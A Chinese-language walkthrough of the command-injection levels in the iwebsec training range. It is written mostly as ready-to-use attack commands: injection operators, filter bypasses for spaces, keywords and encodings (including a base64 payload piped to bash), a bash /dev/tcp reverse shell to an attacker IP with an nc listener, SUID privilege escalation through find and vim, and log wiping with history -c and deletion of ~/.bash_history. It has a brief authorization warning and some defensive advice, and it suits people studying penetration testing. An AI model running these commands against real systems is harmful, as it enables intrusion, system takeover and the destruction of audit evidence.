
1. iwebsec靶場命令執行漏洞通關實戰第一次接觸iwebsec靶場的命令執行關卡時我花了整整三天時間才完全打通所有關卡。這個靶場設計得非常貼近真實滲透測試場景從最簡單的命令注入到復雜的繞過技巧層層遞進。下面我就把通關過程中積累的實戰經驗完整分享給大家包含12種典型命令執行漏洞的利用手法和7種主流防御方案的繞過技巧。2. 靶場環境準備與基礎認知2.1 靶場環境搭建iwebsec靶場支持多種部署方式推薦使用Docker快速搭建docker pull iwebsec/iwebsec docker run -d -p 80:80 --name iwebsec iwebsec/iwebsec啟動后訪問http://localhost即可看到包含命令執行在內的多個漏洞模塊。如果遇到端口沖突可以修改-p參數為其他端口如8080:80。注意實際滲透測試中務必在授權范圍內進行禁止對非授權目標使用這些技術2.2 命令執行漏洞本質命令執行漏洞的本質是應用程序將用戶輸入作為系統命令的一部分執行。與SQL注入不同它直接操作的是操作系統層面的命令。常見觸發場景包括調用系統命令的函數如PHP的system()、exec()網絡服務調用腳本處理請求管理后臺執行維護操作3. 基礎命令注入手法3.1 簡單命令拼接在存在漏洞的輸入框嘗試注入127.0.0.1 whoami這里利用邏輯運算符當前面的ping命令執行成功后繼續執行后面的whoami。類似的操作符還有|管道符前命令輸出作為后命令輸入;順序執行符無論前命令是否成功都執行后續命令||前命令失敗才執行后命令3.2 命令替換技巧當直接命令被過濾時可以嘗試$(whoami)或whoami這兩種形式會將命令執行結果替換到原命令中。我在實際測試中發現很多初級防護方案會漏防這種替換語法。4. 中級繞過技術4.1 空格繞過當空格被過濾時替代方案cat/etc/passwd {cat,/etc/passwd}實測發現第二種方式成功率更高因為大括號在Linux中本身就是合法語法。4.2 關鍵詞繞過對于被過濾的cat、ls等命令使用通配符c?t、l?反斜杠轉義c\at變量拼接ac;bat;$a$b /etc/passwd4.3 編碼繞過技巧嘗試不同編碼方式Hex編碼echo -e \x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64Base64編碼echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash5. 高級利用鏈構建5.1 反彈Shell實戰當獲得命令執行權限后建立持久化連接bash -i /dev/tcp/攻擊機IP/4444 01需要提前在攻擊機用nc監聽nc -lvp 44445.2 權限提升技巧查看具有SUID權限的程序find / -perm -4000 2/dev/null常見提權路徑利用find執行命令find . -exec /bin/sh \;通過vim提權vim -c :!/bin/sh6. 防御方案與繞過6.1 常見防御手段企業級防護通常采用輸入白名單驗證命令黑名單過濾執行上下文沙箱系統調用監控6.2 針對性繞過案例對于黑名單過濾/bin/bash的情況/bin//bash /bin/?sh /???/??sh這種通配符方式能繞過大多數簡單正則匹配。7. 實戰問題排查記錄7.1 典型錯誤場景命令執行但無回顯嘗試將輸出重定向到web目錄whoami /var/www/html/result.txt權限不足嘗試寫入/tmp目錄echo test /tmp/testfile7.2 日志清理技巧操作完成后記得清理痕跡history -c rm ~/.bash_history但要注意這些操作本身也會被審計日志記錄。8. 靶場通關經驗總結通過iwebsec靶場的系統訓練我整理出命令執行漏洞的四個關鍵檢測維度注入點識別輸入參數是否直接拼接命令上下文分析當前執行權限和環境限制過濾規則探測嘗試各種繞過手法利用鏈構建從命令執行到系統控制在實際滲透測試項目中遇到命令執行漏洞不要急于執行高危操作應該先通過id、uname -a等命令收集系統信息再制定針對性的利用方案。對于防御方來說除了過濾危險字符外更應該采用參數化調用的方式替代直接命令拼接。